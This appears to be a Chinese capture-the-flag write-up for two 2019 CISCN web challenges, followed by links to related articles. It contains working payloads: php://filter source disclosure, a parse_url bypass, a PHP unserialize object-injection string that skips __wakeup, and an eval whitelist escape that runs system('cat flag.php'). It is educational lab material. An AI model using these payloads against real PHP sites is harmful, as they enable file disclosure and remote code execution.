2019全国大学生信息安全竞赛部分Web writeup

时间:2022-09-06 13:26:28

JustSoso

0x01

审查元素发现了提示,伪协议拿源码

/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

 <?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if (!isset($file)) {
echo 'Missing parameter' . '<br>';
}
if (preg_match("/flag/", $file)) {
die('hack attacked!!!');
}
@include ($file);
if (isset($payload)) {
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'], $query);
foreach ($query as $value) {
if (preg_match("/flag/", $value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
} else {
echo "Missing parameters";
} ?>

/index.php?file=php://filter/read=convert.base64-encode/resource=hint.php

 <?php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
} class Flag{
public $file;
public $token;
public $token_flag; function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
} public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
?>
 
0x02

这里用到了parse_url函数在解析url时存在的bug

使用///index.php的方式使其返回false,从而绕过了后面的正则匹配

 
0x03
构*序列化
2019全国大学生信息安全竞赛部分Web writeup

$handle由private修饰,所以要在Handle两边加上%00

O:6:"Handle":1:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}

_wakeup()绕过

反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过_wakeup()的执行

O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}

最终payload为:

///index.php?file=hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}

love_math

0x01

审查元素,在js代码中发现calc,php,访问得到源码

2019全国大学生信息安全竞赛部分Web writeup

 <?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

0x02

经过分析:

有长度限制,不能超过80

虽然有/m,但是\r在黑名单中,所以不存在换行绕过

传给c的参数不能是字母,只允许使用白名单的函数作字符串

要用白名单中的函数将数字转成字母,发现base_convert()和dechex()两个函数

0x03

最终payload:

c=$pow%3Dbase_convert(37907361743,10,36)(dechex(1598506324));($$pow){0}(($$pow){1})&0=system&1=cat%20flag.php

解释如下:

dechex(1598506324)得到的是_GET进行hex编码的值

base_convert(37907361743,10,36)得到的是函数hex2bin

c的值定义了$pow=_GET,那么$$pow=$_GET

最后执行的代码为$_GET{system}($_GET{cat flag.php})

2019全国大学生信息安全竞赛部分Web writeup的更多相关文章

  1. 2019全国大学生信息安全竞赛初赛pwn前四题writeup—栈部分

    ret to libc技巧:https://blog.csdn.net/zh_explorer/article/details/80306965 如何leak出libc地址:基地址+函数在libc中的 ...

  2. 2019全国大学生信息安全竞赛ciscn-writeup&lpar;4web&rpar;

    web1-JustSoso php伪协议获取源码 ?file=php://filter/read=convert.base64-encode/resource=index.php index.php ...

  3. 【逆向笔记】2017年全国大学生信息安全竞赛 Reverse 填数游戏

    2017年全国大学生信息安全竞赛 Reverse 填数游戏 起因是吾爱破解大手发的解题思路,觉得题挺有意思的,就找来学习学习 这是i春秋的下载链接 http://static2.ichunqiu.co ...

  4. 2019全国大学生信息安全与对抗技术竞赛全国线下总决赛 Writeup

    0x00 Begin 关于 ISCC 2019 北理工总决赛,这一次比赛体验感总体差不多,最后我们战队荣获全国一等奖第一名,在这里非常感谢我的团队以及我的队友. 0x01 Reverse 下载题目:e ...

  5. 第16届&lpar;2019&rpar;全国大学生信息安全与对抗技术竞赛全国线下总决赛 Writeup

    笔者<Qftm>原文发布<BitHack>:https://bithack.io/forum/469/answer/333 0x00 Begin 关于 ISCC 2019 北理 ...

  6. 2019全国大学生信息安全大赛两道web

    简单小结 菜鸟第一次打国赛,这次题目质量很高,学到了许多姿势. Web Justsoso 打开题目,源代码出存在提示: 使用LFI读取index.php与hint.php http://d4dc224 ...

  7. 全国大学生信息安全竞赛初赛writeup

    本文首发于“合天智汇”公众号 作者:Fortheone WEB Babyunserialize 扫目录发现了 www.zip 下载下来发现似曾相识 之前wmctf2020的webweb出了f3的反序列 ...

  8. 2016全国大学生信息安全竞赛&lpar;Misc&rpar;

    你好,i春秋: 关注i春秋公众微信号,然后发送CTF,机器人会问星期几,按实回答,然后发送你好,机器人会回复你好,然后随便发几句,机器人会问是否愿意陪他聊天,回复不愿意,机器人就会发flag kill ...

  9. 2020第十三届全国大学生信息安全竞赛创新实践能力赛rceme writerup

    审计代码 传入参数a,进入parserIfLabel函数 发现参数a的模板,a的格式要匹配pattern,如{if:payload}{end if} 可知ifstr是a中匹配的第一组的值,即paylo ...

随机推荐

  1. &lbrack;LeetCode&rsqb; Reverse Words in a String 翻转字符串中的单词

    Given an input string, reverse the string word by word. For example, Given s = "the sky is blue ...

  2. 为什么Javascript中的基本类型能调用方法?

    我们从一道笔试题说起: var str = 'string'; str.pro = 'hello'; console.log(str.pro + 'world'); 输出啥?要理解这个问题,我们得从头 ...

  3. HTML 元素

    HTML 文档是由 HTML 元素定义的. HTML 元素 HTML 元素指的是从开始标签(start tag)到结束标签(end tag)的所有代码. 开始标签 元素内容 结束标签 <p&gt ...

  4. ruby编程语言-学习笔记5(第5章 语句和控制结构)

    以下是2种表达方式一样. if expression code end if expression then #推荐这种形式 code end expression的值不是false或nil,则cod ...

  5. 二叉树:B&plus;tree等

    二叉树:(树是一种可以递归定义数据结构) 度:节点的个数 深度:层数(即从根点到叶子节点的层数) 满二叉树:指底层叶子节点左右均存在的二叉树. 完全二叉树:指底层叶子节点的右侧均存在的二叉树. 一般二 ...

  6. HTML基础学习笔记(1)

    HTML学习笔记(1) 1.常用快捷键 win+d---返回桌面 win+e---我的电脑 win+r---打开运行 Alt+tab---切换软件 ctrl+tab---切换软件文档 F2---重命名 ...

  7. Python中字符串的intern机制

    intern机制: 字符串类型作为Python中最常用的数据类型之一,Python解释器为了提高字符串使用的效率和使用性能,做了很多优化,例如:Python解释器中使用了 intern(字符串驻留)的 ...

  8. Gitlab&plus;Jenkins学习之路(四)之gitlab备份和恢复

    gitlab的备份和恢复 (1)创建备份目录,并授权 [root@linux-node1 ~]# mkdir /data/backups/gitlab -p [root@linux-node1 ~]# ...

  9. 课堂笔记-------字符串类型string------练习

    字符串类型 一.string //打出s.时就会出现一堆的方框,要找不带箭头的(不带箭头的是我们现在可以用的到的),不要找带箭头的(带箭头的是扩展,现在还用不到) //不带箭头的都是对s的操作(动作和 ...

  10. Codeforces Round &num;283 &lpar;Div&period; 2&rpar; A &comma;B &comma;C 暴力,暴力,暴力

    A. Minimum Difficulty time limit per test 2 seconds memory limit per test 256 megabytes input standa ...